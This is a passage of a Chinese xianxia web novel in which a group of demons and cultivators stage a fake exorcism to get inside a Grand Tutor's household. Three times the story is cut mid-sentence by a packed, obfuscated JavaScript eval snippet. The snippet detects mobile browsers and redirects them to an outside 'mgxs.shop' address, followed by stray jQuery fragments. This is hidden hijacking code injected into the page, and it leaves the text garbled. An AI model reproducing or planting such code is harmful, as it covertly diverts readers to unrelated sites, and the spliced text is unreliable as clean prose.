又过了一会,卫祁忽然开口:“帮我带句话。” “大人您讲。”青羽紧绷起来。 卫祁目光看了一眼厨房方向,随即平淡开口。 “她喜欢你们族的妖丹,以后,我还会去取的。” 青羽听了这话,愣在原地。 还会……去取?取什么?取谁的?他想干嘛? 青羽却不敢多问,只能点头:“是……我会把这句话带到的。” 这时候,兰溪端着茶盘就走出来了,她脸上挂着笑容:“久等了,久等了,茶来了!” 兰溪把两杯茶分别放到两个人的面前,然后眼睛笑着弯成月牙,着看看这个,又看看那个:“呦!你们聊得挺好的嘛!” 青羽给了她扯了一个僵硬的假笑,卫祁则沉默地端起茶杯饮茶。 兰溪也没在意那么多,在旁边的小凳上坐下,示意青羽喝茶。 青羽拿起茶杯送到嘴边,手还在抖,茶水洒出来许多。 兰溪满脸问号地看着青羽,她拍拍青羽的肩膀安抚:“你很紧张吗?别紧张……我们都很好说话的。” 兰溪把手腕上的那颗妖丹解下来,放在桌上,往青羽面前推了推道:“说正事吧,你能出多少钱?” 青羽听了这话,赶紧低头从腰间拿出一个储物袋,他解开带子,从里面掏出一把灵石,小心翼翼地放在桌上。 “这是灵石,若是换成人间的钱币,便是百倍不止。”青羽说完便下意识瞟了一眼卫祁询问:“这些……够吗?” 兰溪正在心里默默计算着汇率,坐在她旁边的卫祁,瞥了眼桌上的灵石,端着茶杯的手顿了顿。 青羽看见这一小动作,魂都要吓飞了,他一把抓过手上的储物袋,干脆把里面所有的灵石都倒出来。 “哗啦!”一下子小山一般的灵石堆在桌子上,在阳光下散发着莹莹润润的光泽,堆在一起,晃得兰溪眼花。 青羽把空了的储物袋也放在上面:“这是我的全部家当了!我这个储物袋也送给二位,若是不够,我就再回族里去!” 兰溪看着这么多灵石,眼睛都看直了,她原本以为青羽能拿出几十两就得很不错了。 没想到拿了这么多,这些东西换成钱,够她和卫祁在金陵城舒舒服服活一辈子了吧? 她咽了口唾沫,然后偷偷看了一眼卫祁,见他没有反对的意思,只是继续喝茶。 兰溪心觉可以,于是拍板决定:“够了够了,就这些吧!” 青羽这才呼出一口气,擦了擦头上的冷汗,重新坐回凳子上。 兰溪把那颗妖丹递给青羽,然后美滋滋地把那些灵石往自己这边拢,一边收着灵石一边对青羽说。 “你别着急走,都这个点了,留下来吃个便饭吧!” 青羽一愣,下意识就要摆手:“不不不,不用了,我……” “客气什么!”兰溪把人按回去:“来都来了,还有不吃饭的道理?再说了,你大老远跑来给我送钱,我请你吃顿饭也是应该的。” 青羽张了张嘴,目光不由自主瞟向卫祁。 “我去做饭。”卫祁闻言,已经自觉起身,提着那篮洗好的菜,向厨房走去。 看着卫祁的身影消失在厨房门口,青羽整个人才终于莫名松了一口气。 兰溪正好从屋里端出一盘瓜子,看见青羽这个样子,纳闷道:“你干嘛?很累吗?” 青羽干笑两声,没敢多说什么。 兰溪把瓜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228385|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往两人面前一放,顺势坐在青羽旁边,青羽看了一眼兰溪发问:“那个……兰溪姐姐,我能问你一句话吗?” “问呗。”兰溪嗑起了瓜子。 “你和那位……是什么关系?”青羽指了指卫祁所在的地方。 “你说卫郎啊……”兰溪嗑瓜子的动作顿了顿,耳根微烫,咳了一声:“也没什么……我们应该很快会成婚。” “啊?”青羽一听这话,猛地转过头来,瞪大眼睛看着兰溪。 他意味深长地看了一眼面前的兰溪,又回头看了一眼厨房方向,里面隐约传来切菜的声音。 然后青羽不动声色地默默把凳子从兰溪旁边挪远许多。 兰溪没太注意,只是自顾自突然问起:“对了,一直没问你,你和师姐那天晚上后来怎么样了?那天河畔出现的那女鬼到底是什么来头?” 青羽摇摇头道:“我也不是很确定,但看那样子,那女鬼应该是个水鬼。” “有这么厉害的水鬼?”兰溪问。 青羽回答道:“不是一般的水鬼,我看她那样子,只怕都不是普通的厉鬼,得是煞鬼的程度,这种级别的鬼物,生前多半杀人无数,死后也是怨念不散,才会化为煞鬼。” 青羽顿了顿,又说:“其实我今天来找你,还有一件事。” “你还记得那太傅嫡孙李崇文的尸体吗?”青羽压低声音道。 兰溪立刻道:“废话,我和柳梢姐姐刚埋的,结果被那女鬼刨出来又吊起来,我能不记得?” 青羽表情凝重:“那女鬼后来跑了,尸体还留在河滩上,我和柳梢姐姐又回去查看过,仔细检查过那个尸体。” “我们发现尸体身上有多重咒印,一重是我青鸾族的咒印,只有青鸾族人才会使用,还有一重是那女鬼下在他身上的,我一开始没看懂,后来才想明白那是三春祭的引子。” 青羽看向兰溪,眉头紧皱:“你说李崇文一个凡人,怎么会死得这么蹊跷?身上有我青鸾族的咒印,又被那女鬼用来种引子祭祀,他一个普通的太傅府公子,何至于此?” 青羽的声音越来越低:“我总觉得不对劲,我怀疑有一重咒印是我族叔青溟所下。” “你说我族叔青溟,他来金陵到底是想干什么?我青鸾族是上古妖族,伴神而生,从小族里就教导我,我族即是正道……可是正道,为什么会和这些事扯上关系?” 他看向兰溪道:“我本想把李崇文的尸体带回族里,问问那些长老们,可是柳梢姐姐不让。” 兰溪一愣:“师姐不让?” “嗯。”青羽点点头,表情变得有些疑惑又微妙:“我也不知道为什么,柳梢姐姐这人真奇怪,你说她是不是有什么收集尸体的癖好?反正她还用修为护着那具尸体,不让尸体腐烂,就这么留着。” 兰溪沉默,她觉得柳梢有她自己的原因。 “后来我想了想,与其把尸体带回族里跟那些长老打太极,不如我自己把这事查明白,所以我和柳梢姐姐说好要一同去太傅府查明此事。” 兰溪点点头:“既然那李崇文是太傅府的嫡孙,太傅府里肯定知道些什么,说不定可以找到些线索。” 青羽看向兰溪:“其实我这次来找你,是想让你和我们一起去。” “你在幻境里中了三春祭,这种祭祀,一定要有春神气息的人才能触发,眼下看来,除了李崇文,就只有你了,那女水鬼可能盯上李崇文,就有可能盯上你。” 兰溪听了这话,背后一寒。 18. 且听春 兰溪沉默片刻,她想起那天晚上见到的女水鬼,想到那个幻境,其实不知不觉间,她自己也早已卷进这个故事里。 她抬起头:“你说得对,与其坐以待毙,不如去主动查明白,你们现在打算怎么做?” “柳梢姐姐想到个好办法,能让我们混进太傅府,你会有大用处。” 青羽看了一眼兰溪的脸,笑得有些微妙:“反正你明天就知道了。” 兰溪忽然有种不是很好的预感,她转头看向厨房方向:“我晚点和卫郎说这事。” 话音刚落,厨房传来脚步声,卫祁端着两盘菜就出来了。 兰溪和青羽看了一眼桌上的菜,同时僵住了。 那两盘菜中其中一盘烧肉,乍一看,只是一道寻常的家常菜,但是青羽看出来了,那肉的纹理和寻常的家禽并不同,整盘菜都透着一股妖气。 兰溪也反应过来了,这不就是那天剩下的半只野鸡吗?是青羽族叔的妖身。 她默默看向青羽,青羽愣在原地,脸色一阵青一阵白。 卫祁把两盘菜放在桌上,又转身回去拿碗筷,动作从容,他神色平静地在兰溪旁边坐下。 “吃吧。”他夹了一筷子菜放在兰溪碗里,然后抬头看向青羽。 青羽还僵在原地,筷子握在手里,一动不动。 “你吃不惯?”卫祁语气平淡发问。 青羽被这么一问,浑身一个激灵,他立刻说:“没……没有的事,我吃得惯……” 青羽抬起手,颤颤抖抖地用筷子夹了一块肉,送到嘴里,吃出了悲壮赴死的感觉。 兰溪也不知道该说什么,只能默默低下头,开始扒自己碗里的饭。 卫祁吃得很从容,神色温柔的偶尔会给兰溪夹菜。 这一顿饭,三个人吃得各有心思。 吃完饭后,青羽几乎是一刻也待不下去,他匆匆抱拳道:“多谢款待,我还有事,先走了。” 说完,他像要逃一样推开门,就消失在巷子里。 兰溪望着青羽离去的身影,久久无语。 身后传来洗碗的声音,兰溪转过身,看着卫祁的背影,他正低着头,不紧不慢地洗着碗。 兰溪走到他旁边,唤了一声:“卫郎。” “嗯?”他回道。 “我……有件事想和你说,我可能有些事,接下来要离开几天了。” 卫祁洗碗的动作停下了,他转过身,看着兰溪:“什么事?” 兰溪想了一会,还是准备直说。 “你还记得那天晚上在河畔的事吗?我们遇到了那个女鬼,柳梢姐姐和青羽准备去查这件事,那女水鬼也有可能再来找我,我决心去帮他们。” “那我陪着你。”卫祁看着她,神色认真。 兰溪一愣,随即摇摇头:“不行,太危险了,你不知道,那女水鬼很厉害的。” “我知道。”卫祁伸出手,轻握住她的手腕,把兰溪拉进怀里,将头轻轻地靠在她的肩上。 “别再丢下我一个人了。” 他的声音很低,带着一丝闷闷的沙哑,就这样低靠在兰溪的肩头,生怕她随时要走似的。 兰溪的心立刻就软了一下,她想起那天在河滩,他抱着她的手在发抖。 兰溪最终还是狠不下心来,她伸出手在他的背后拍了拍,才道:“好吧,那我们一起。” * 太傅府门口,朱门高墙,石狮镇守,柳梢和兰溪站在不远处,两人推着一个推车,推车上摆着李崇文的尸体,用白布盖好。 柳梢回头看了一眼站在兰溪旁边的卫祁,眼神复杂,她压低声音凑到兰溪耳边道:“你怎么把他带来了?” 兰溪也压低声音回答:“我没办法……就带着他吧,卫郎平时不怎么说话,不会影响我们的。” 柳梢沉默了两秒,又看了一眼卫祁,最终摆摆手:“行吧行吧……反正他没有伤害你的意思,有他在也有一重保障。” 兰溪没太听懂,但还是点点头。 柳梢清了清嗓子,开始说正事:“这一次,我会扮成李崇文养在外面的外室,他遭遇鬼怪横死了,我没有办法就把他的尸体送回来,你就扮成我的丫鬟,青羽嘛……我自有安排。” 兰溪询问:“柳梢师姐,你要办成外室,万一太傅府的人为了你怎么办?” 柳梢淡淡一笑:“我自然是扮成偷偷摸摸,见不得光的弱女子,你放心,我最会这一招了。” 柳梢的目光落在兰溪戴着的帷帽上:“对了,我今天叫你把画皮画得丑一些,你画得怎么样?” 兰溪比了个OK的手势,帷帽下的脸看不清晰,但语气里带着些小得意:“放心吧,我今天水平发挥正常,你到时候且看吧。” 柳梢挑挑眉,再没多说了,她把推车推到太傅府大门口。 她整个人往尸体上一伏,趴在盖着白布的身体上,开始大哭。 “李郎!你怎么就死了?你死得好惨好冤啊!你让我一个弱女子活着可怎么办啊?” 柳梢哭声凄惨,一个漂亮女子趴在一个尸体面前哭嚎,立刻就引来旁边的百姓驻足围观,不一会儿就围了一圈人。 “这是怎么回事?” “那是谁死了?” “那不是太傅府的公子吗?据说失踪了一个月。” 太傅府门口的家丁终于反应过来了,他们走过来凑近一看,看见那白布下尸体穿着的衣服,正是他们府里公子会穿的。 “快快快,进去禀报夫人!” 几个家丁慌慌张张进去,不一会,府门打开,一群人匆匆忙忙涌出来。 一个年纪略长的妇人被其他人搀扶着快步走出来,她面容端庄,满头绫罗首饰,穿着一身材质极好的绸衫。 妇人眼眶微红,跌跌撞撞地扑到推车旁,一把掀开白布。 看清楚那具尸体的面容时,她整个人眼前发晕,像是要瘫倒下去,又被旁边一众仆人扶着。 她抚摸着尸体冰凉的脸,止不住地哭了起来。 “文儿……我的文儿……” 李夫人此刻看见自己儿子的尸体悲痛欲绝,旁边一个管事模样的下人看见众多人围观,于是低声提醒李夫人。 “夫人,这是在大门口,这么多人看着呢……家丑不可外扬啊。” 李夫人这才回过神来,她调整情绪,深吸一口气,用袖子擦了擦眼泪,压下心中的悲痛,然后抬起眼扫了一眼面前的柳梢一众人。 “都请进来。”李夫人沉声道。 几人被请进了府里,绕过江南园林的影壁,穿过回廊,到了一处偏厅。 门刚一关上。 “啪!”李夫人抬手就是一巴掌,结结实实地打在柳梢的脸上。 她眼眶通红,指着柳梢大喊:“哪里来的狐媚子?是不是你害死了我儿?” 柳梢也不是什么善茬,挨了一巴掌,愣了一下,随后她立刻抬起手,对着李夫人的脸,一巴掌还回去。 这一声更响了,李夫人被打得后退了几步,捂着脸,不可置信地看着她。 柳梢收回手,抱着手臂冷笑:“狐媚子怎么了?要不是你儿子对我死缠烂打,我还看不上他呢,我好心把他的尸体送回来,你还觉得是我害死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233081|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他?” 李夫人被她的气势镇住了,一时竟说不出话。 柳梢抱着手臂,找了个座位坐下:“那天在秦淮河畔的石桥旁,你儿子冲上来就抱着我的腿不撒手,哭着喊着让我跟他回家,在场那么多人都看着呢!我的丫鬟就能做证!” 她向兰溪使了个眼色,兰溪愣愣的点点头。 她这会儿也是有些傻了,柳梢不是说要扮成偷偷摸摸,见不得光的弱女子吗?她现在觉得整个太傅府都是柳梢的了。 李夫人的脸色变了又变,她皱着眉头道:“我太傅府家风严谨……我儿绝不是那样的登徒子。” 柳梢坐在旁边的椅子上,懒洋洋地跷起二郎腿:“信不信由你,反正那天的事,你去街上一打听什么都知道,夫人若是不信,可以派人去查,反正我有的是时间。” 李夫人看了一眼柳梢,不再多说,只是望着自己儿子的尸体问:“……我儿到底是怎么死的?” 柳梢回答:“你这儿子运气不好,被鬼物缠上,丢了性命。” 李夫人听了这话,冷笑一声:“你们一张嘴,说是什么就是什么?我怎么知道不是你们害死了我儿,编出套鬼话来糊弄我。” 柳梢正想反驳,这时从屋檐上传来几声脚步声,伴随着铃铛轻响。 “叮铃!” 众人听到声音抬头,便看到一道身影从房梁上落下,衣诀纷飞,穿着靛青的道袍,腰间挂着铃铛和符箓,手上拿着一拂尘。 来人正是青羽,兰溪差点没认出来,这小子打扮一下,还有几分仙风道骨的感觉。 青羽脚尖一点,轻轻落地,目光落在地上的尸体上。 “本座乃游方修士,今日下山历练,途经贵府门口,便感知不对,这具尸体眉间隐隐有煞气,怕是被鬼物缠上了。” 李夫人看着他,眉头皱得更紧:“你又是什么人?我凭什么信你?” 青羽微微一笑,抬手捏诀,一道青光从他手上没入尸体中。 下一刻,原本躺在地上的死尸猛地就座起身来,那尸体直挺挺地坐着,嘴巴一张,一股黑水从嘴巴流出来,淌到地上。 “啊!”屋里的下人们见到这样的场景,纷纷吓得向后退散,李夫人也吓得脸色煞白,连连后退。 过了一会儿,尸体又倒下去了,青羽收回手,把手中的拂尘一甩道。 “这便是被鬼物缠上的表现,有水鬼在你儿子体内种了咒术,不出所料,那女水鬼还会来寻他的尸身,到时候,你们府里一个都逃不过。” 李夫人瘫坐在椅子上,她嘴里哆嗦着:“怎么……又是水鬼?” 兰溪察觉不对,这府里似乎还会有别的事,青羽也从李夫人的话里听出不对劲。 青羽立刻上前一步:“夫人,今日我来你府中,便是来了结此事,只要你按我说的做,便可保阖府上下无忧。” 李夫人抬起头,怀疑地扫了一眼青羽:“这些年,我也找过不少修士,没有人能解决这些事,你又有什么办法?” 青羽却微微一笑,他没有立刻回答,而是指向一直安静站着的兰溪。 “这位姑娘,我端详良久,也觉得很不对劲。” 众人反应过来也看过去,柳梢反应最快,一把拉住柳梢的手腕,语气惊慌道:“仙长真是好眼力,这是我的丫鬟,她和李郎一样,中了那水鬼的怪咒,因此变得……痴傻貌丑,无法见人。” 李夫人皱着眉头打量起兰溪,沉声道:“既然如此……那就摘去帷帽,就让我看看你这丫鬟,到底变成什么样了?” 所有人的目光看向兰溪,等着她手上的动作。 19. 且听春 感受到所有的目光都落在自己身上,看来是躲不掉的。 兰溪深吸一口气,抬起头,缓慢地摘掉了自己的帷帽。 屋里所有人的目光落在兰溪的脸上,然后不知道是谁,像是看不下去一般,发出一声“嘶——” 兰溪今天画的这张脸,其实不能说丑,明明五官都画好了,可是组合在一起就是十分诡异。 眉毛一边高一边低,眼睛画的挺大,可是眼神呆滞瞳仁又太小了,脸侧的腮红,像是被人扇了两巴掌,嘴边的口红也涂越界,像刚吃完小孩。 兰溪看见所有人都在看自己,尴尬的咧开嘴笑了笑,本来不笑不要紧,这一笑更是有些诡异。 李夫人看见了后退了好几步:“这……这怎么变成这副样子了?” 青羽见状立刻走上前来,把拂尘一挥,表情十分沉痛:“这便是那水鬼的咒术所致,中此咒术者,先痴后丑,最后七窍流血而亡,李公子便是如此。” “你看这丫鬟的样子,一看就不聪明!”青羽指着兰溪的脸。 兰溪在心里翻了个白眼,原来他们给她安排的人设是个中了咒术的傻子,难怪怎么也不愿意告诉她。 可她现在只能配合,她歪着头,眼神放空,盯着李夫人看了三秒,然后咧开嘴“呵呵呵”不停的傻笑起来。 “我的天爷!”李夫人捂住自己的眼睛,又退了一步。 旁边一个嬷嬷小声嘀咕起来:“哎呦,看这样子,她不像被鬼缠住,还有谁像被鬼缠住?” 青羽立刻走到兰溪身边,指着兰溪说:“夫人,请看她这痴傻之态,还有这诡异的容貌,都是因为水鬼的咒术所致,我今日便为这姑娘驱邪,也好让夫人看看我的手段。” 李夫人将信将疑:“你真有办法?那便请仙长做法吧。” 青羽眼里带着几分自信,挥了挥手。 “来人,取香案,清水,黄纸来!” 一刻钟后,偏厅的中央摆上了一张香案,案上供着香炉,清水还有黄纸,青羽掏出自己那把佩剑,神情肃穆,站在中间。 兰溪被安排坐在香案的正前方,正对着这个法坛,面前被摆上一碗清水。 “天地玄宗,万炁本根——” 青羽开口了,声音拉得很长,他围着兰溪转圈,桃木剑在空中划来划去,看起来十分有范。 “广修万劫,证吾神通,三界内外,惟道独尊,体有金光,覆映吾身——” 看着青羽在自己面前转一圈两圈,三圈四圈……好像无穷无尽的在转圈。 兰溪终于是忍不住了,她小声道:“你转得我头晕,赶紧下一步吧。” 青羽脚步一顿,瞪她一眼:“傻子能说这种话吗?” 兰溪反应过来,赶紧又把眼神放空,嘴里嘟囔着傻笑:“嘿嘿……嘿嘿嘿……” 青羽深吸一口气,继续转。 “视之不见,听之不闻——” 青羽猛地停在兰溪面前,手中的剑挥向兰溪,兰溪往后一仰,差点从凳子上翻下去。 “包罗天地,养育群生——” 青羽把剑往案上一拍,抓起一把黄纸,往空中一撒,黄纸纷纷扬扬落下来,一点碎屑落在兰溪眼前的清水里。 青羽双手结印,口中念念有词:“急急如律令,妖邪退散!” 然后他端起那碗水,含了一大口,“噗”一身全部喷在兰溪脸上。 兰溪:“……” 冰凉的水从她脸上流下来,混着画皮上还没干透的颜料,在脸上形成一道一道的彩色的水痕。 她闭着眼,拳头却不自觉的握紧,她绝对不会放过青羽这小子。 就在这时,青羽从袖中摸出一张符纸,“啪”地贴在她额头上,兰溪被突如其来的符纸盖住了眼前。 青羽在旁边拼命地给兰溪使眼色。 “邪祟,此时不现,更待何时?” 兰溪一听这话,知道自己的活来了。 她浑身一僵,眼睛猛地睁开,原本还在表演呆滞的眼睛,如今眼里闪烁着光,她拼命把眼珠子往不同的方向乱转。 “啊啊啊!”她张嘴发出一声尖叫,然后整个人就像触电一样的开始颤抖。 青羽把手摁在兰溪的额头上,继续念咒,声音越来越大,兰溪便假装自己被邪祟附体开始颤抖乱叫。 兰溪此时觉得自己应该说些什么,但是她该说些什么呢?她也不知道被邪祟附体该说什么。 情急之下,她闭上眼睛,一边晃着脑袋,一边开始唱歌:“两只老虎……两只老虎,跑得快……跑得快……” 青羽听见她嘴里的胡话,手上的动作停了,柳梢在旁边看的嘴角抽了抽。 兰溪唱完了最后一句,嘴里喃喃:“老虎……老虎……” 青羽僵在原地,偷偷看了一眼李夫人。 李夫人张着嘴,脸上的表情就像被雷劈过一样,旁边的仆人们也面面相觑。 青羽咬咬牙,硬着头皮继续。 “邪祟!休得胡言乱语!” 他双指用力点在符纸上,兰溪被戳得往后一仰。 “快说!你是什么东西!” 兰溪只觉得被戳得脑门疼,嘴里也胡乱接道:“我是……我是大老虎!” “什么老虎?这里是太傅府!还不快说真话!” “我是河里的!”兰溪赶紧改口:“我是水鬼!我要吃人!我要把你们都拖下水。” 她说着伸出两只手,张牙舞爪地想向李夫人扑过去。 李夫人吓得往后退了一步,撞翻了身后的椅子。 青羽满头大汗,继续用力戳着符纸:“孽障!还不速速离去!” “我不走!”兰溪继续大叫:“我要吃人!我就要吃她!” 她盯着李夫人,李夫人看着兰溪那张脸,脸都吓白了。 青羽不停戳着兰溪脑门,兰溪脑门上留下了个红印子,青羽大喊:“孽障!快快离去,不然本座就要用绝招了!” 兰溪心里一惊,怎么还有绝招?青羽他是不是没完了? 兰溪还在心里想着该怎么接,青羽已经从袖子里拿出一张更大的符纸,“啪!”地拍在兰溪的脸上。 可是兰溪的脸上沾了水,符纸沾了水之后,胶性不牢,早已经贴不上去了。 即使青羽拼命的用手固定,兰溪头上的符纸还是从额头上飘落下来,晃晃悠悠的落在面前的地上。 屋里安静了一瞬,所有人都看着那符纸落在地上。 “怎么回事?那符纸怎么掉了? “难道那符纸都镇不住那邪祟?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233082|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这个修士到底行不行啊?” 房间里的下人开始在旁边窃窃私语。 兰溪沉默地看着地上的符纸,然后缓缓抬起头,看着四周眨眨眼,脸上露出一个宛若新生的困惑表情。 “这是哪里?我怎么会在这儿?”兰溪环顾一圈周围,懵懂发问。 “你们……是谁?” 柳梢终于忍不住上前,关切地拉起兰溪的手:“兰丫头,你是不是醒了?你醒了!” 兰溪看着柳梢继续演:“我怎么了?” “你被邪祟附体了,是这位仙长救了你。”柳梢用手指了指青羽。 兰溪充满感激的看向青羽:“多谢仙长的救命之恩!” 青羽累的气喘吁吁,他擦擦头上的汗,摆摆手:“不必多礼,除魔卫道,是本座的分内之事。” 李夫人站在原地,看着鸡飞狗跳的这一幕,脸上的表情一言难尽。 兰溪看见李夫人这个表情,心道不好,这场戏算是演砸了。 她张张嘴,指着兰溪,然后干巴巴的挤出一句:“这……这就完了?” 青羽回答道:“正是,夫人方才所见,邪祟已经被本座驱除。” “那这个丫鬟,到底好了没有?为什么她的脸还是这个样子?”李夫人语气里带着疑问开口。 青羽清了清嗓子:“这个……咒术已解大半,她已经神志恢复了,容颜恢复还需要几日。” 李夫人看了一眼兰溪五颜六色的脸,又看看满头大汗的青羽,还有站在旁边的柳梢,突然心里琢磨过来一些。 “你们是在耍我吧?” 她一甩袖子,看着几个人道:“你们当我是三岁小孩吗?竟敢来太傅府里招摇撞骗!” “夫人!”柳梢上前还想说些什么。 “不必再说了,我儿惨死,你们还要拿着他的尸体来招摇撞骗!以为我们太傅府是好欺负的吗?” “把这几个人都赶出去!”李夫人对着旁边的人吩咐。 下人们涌了上来,推推搡搡地把几个人向外赶。 柳梢被推得踉跄了两步,回头瞪眼:“我自己会走!别推我!” 青羽被两个小厮架着往外拖,还在拼命回头推销自己:“你们听我说!我真的是修士!我是青鸾族的妖修,我要是没点本事,怎么敢来查这件事?” “行行行,你是修士,你是神仙总行了吧,快走吧!”几个小厮对着青羽翻白眼。 兰溪也被推着往外走,她手忙脚乱的把头上的帷帽扶正,卫祁走到她旁边,周围的小厮不知道怎的,没一个人敢上手碰他们俩。 “且慢!”一道苍老的声音从身后传来。 众人回头,看到头发花白的老者站在回廊上,穿着一身深褐色的绸衫,微微佝偻着背,他叫住了其他人。 “刘总管!”李夫人皱起眉。 老管家没有看李夫人,而是走到兰溪这一群人面前,深深行了一礼。 “各位贵客,太傅大人有请。” 兰溪一行人愣住,李夫人上前一步开口:“李总管,你什么意思?这几个人来历不明的,请他们做什么?” “夫人。”老管家打断了李夫人的话:“太傅大人说,知道府里来了能人,下令要把几位留在府里,现在要请几位去书房相见。” 20. 且听春 刘总管在前面引路,一行人穿过重重回廊,朝太傅府的深处走去。 太傅府里是典型的江南园林,粉墙黛瓦,曲径通幽,石头精心堆砌出假山,回廊曲折,一步一景。 这府里,让兰溪觉得有些不同的是,这园林中的草木,长得也太过茂盛了。 府里种植的花草树木,长得都异常的好,甚至这个季节本该落下的梅花,还在枝头挂着几朵残梅,整个园林便是被草木疯长着拥挤起来。 “贵府的草木……长的可真是好。”青羽忍不住赞赏两句。 刘总管却只是笑了笑,没有回头。 穿过一道月洞门,眼前又豁然开朗,来到一方小小的庭院,庭院里便是书房。 刘总管在门前停住脚步,叩了叩门。 “老爷,人带到了。” 里面传来一道苍老的声音:“进来吧。” 门被推开,里面很安静。 这是一间很大的书房,红木制成的书架挤满墙旁,层层叠叠的典籍,汗牛充栋的旧书,这么多堆积如山的书籍,反而让坐在书案后面的那个人,显得特别孤独瘦小。 兰溪打量起面前的李太傅。 他已经老的不成样子了,一身鹤纹云锦的袍子松松垮垮套在消瘦的身体上,坐在一把铺着厚厚锦垫的木椅上,佝偻着背,整个人几乎陷在椅子里,他就像一块被风干的树皮,最后还喘着一口气。 青羽第一个走上前去,拱手行礼:“在下青羽,见过太傅大人。” 太傅李兆京缓缓抬起头,他微微颔首,目光看了一圈众人,最后落在站在人群最后面的柳梢身上。 他那双浑浊的眼睛,越过站着的其他人,定格在那道倩影上。 他柔和的目光就这样看了柳梢许久,最后嘴角扯出一丝弧度开口。 “柳娘子,一别经年……你还是貌美如当初。” 柳梢的身体一僵,她有些不可置信的轻声问:“你……记得我?” 李兆安那张灰败的脸上,有些吃力的挤出一个轻笑。 “当年我高中状元后,在御前殿试题下一首诗,后来诗句便流传出去,供人传抄,直到有一天有人告诉我,有一位年轻娘子,出了千两黄金买下那诗的原稿。” 他抬头看向柳梢,浑浊的眼睛里有了几分明亮。 “柳娘子,我知道,那买诗人是你。” 柳梢和李兆京对视,她眼睫微颤,低下头,不知是在笑还是在叹息:“六十年前,一掷千金,遥遥相望,一面之缘何至于太傅记到现在?” 李兆京却摇了摇头。 “我们何止一面之缘?” 他目光看向柳梢的脸,仿佛是透过她的脸,看见过往的岁月。 “我第一次见你的时候,你还是个小姑娘,在雪地里摔得浑身是伤,不成样子,我那时候还是个身无分文的穷书生,把你从雪地里背回去,掏光了所有的钱给你熬药喝。” 李兆京盯着柳梢的脸,淡淡一笑:“这么多年,你的脸变了又变,可我还是知道是你。” 柳梢眼眶微红起来,声音有些发哽:“你这么多年步步高升,青云直上,早就见过许多人,我还以为……你不记得我了。” 李兆京没有回答,他只是看着柳梢,看了很久。 “我知道你不是凡人,你不愿见我,所以我没有再找你,也不敢找你,我怕我这凡人的一生,于你不过是弹指一瞬,怕我老了,丑了,死了,你依旧这般模样。 “那太残忍了……”他的声音越说越轻。 说完他忽然剧烈地咳嗽起来,脸色灰败。 柳梢这才注意到,他桌角的药碗堆了好几个,空气中弥漫着将死之人才有的如枯叶般的腐朽气。 “我活不过这个春天了。” 李兆京神色平静,缓缓抬起头,脸色更难看了。 “我这一脉,生来就短命,家中子孙到了年纪,便会被水鬼痴缠,我的儿子都早已早逝,崇文是我家唯一的后代,如今也已惨死。” “我李家……算是绝后了。” 李兆京看着自己那枯瘦的带着老年斑的双手,抬头看向柳梢。 “我知道……我能活到这把岁数,全靠柳娘子你在护佑我。” 柳梢望着李兆京没有说话。 李兆京撑着扶手,颤颤巍巍地站起来,旁边的管家想上来搀扶,却被他用手挡开。 他扶着桌案,一步一步,挪到柳梢面前,然后缓缓弯下腰,对着柳梢,郑重地行了一个大礼。 “柳娘子,你护了我六十年,我李兆京一介凡夫,何德何能受如此厚待,这份恩情,我无以为报。” 柳梢上前一步,扶住李兆京的手臂,他的手臂瘦的只剩下骨头。 李兆京作揖的双手还在微微颤抖,他道:“这些年,我知道你不愿让我知晓你的身份,我便装作不知,只当是上苍垂怜,让我这一生走得顺遂些。” 他顿了顿,叹了口气:“可如今,我这将死之人,临了还能见你一面,已经是莫大的福分了,柳娘子莫怪。” 柳梢抹了泪,声音有些哽咽:“怎么会怪你呢……” “你……可还有未了的心愿?” 李兆京抬起那张苍老的面孔,混沌的眼睛看向窗外满园春色,沉默了许久,才缓缓道。 “我这一生,都是孤寡的命格,无人相伴,这些年,我眼睁睁地看着我的子孙一个个死在眼前,白发人送尽黑发人。” “若说还有什么未了的心愿……无非是想知道我李家世代行善,却落得这般下场,那水鬼为何非要缠上我李家子孙,不死不休。” “我此番前来,本意就是为你,此事你不说我们也会查。”柳梢道。 李兆京深深看了一眼柳梢,俯身再行大礼,佝偻的背弯得更深了,花白的头发几乎要触到柳梢的衣摆。 “我是个将死之人,本没脸再麻烦你,我代表李府上下,深谢娘子和诸位大恩。” 柳梢站在原地,看着这个她默默仰慕了六十年的男人,如今垂垂老矣,对着她行礼,花白的头发在风中飘动。 她忽然想起,当年他中状元游街时,身穿红袍,头戴金花,骑在马上笑得意气风发,她追在人群里踮脚看,被他身上的光刺得眼泪直流。 那时候她就在想,这样风光霁月的一个人,她这辈子能远远的看着,就够了。 晃眼之间,六十年光阴转瞬即逝,他满头花甲,而她还是当年模样。 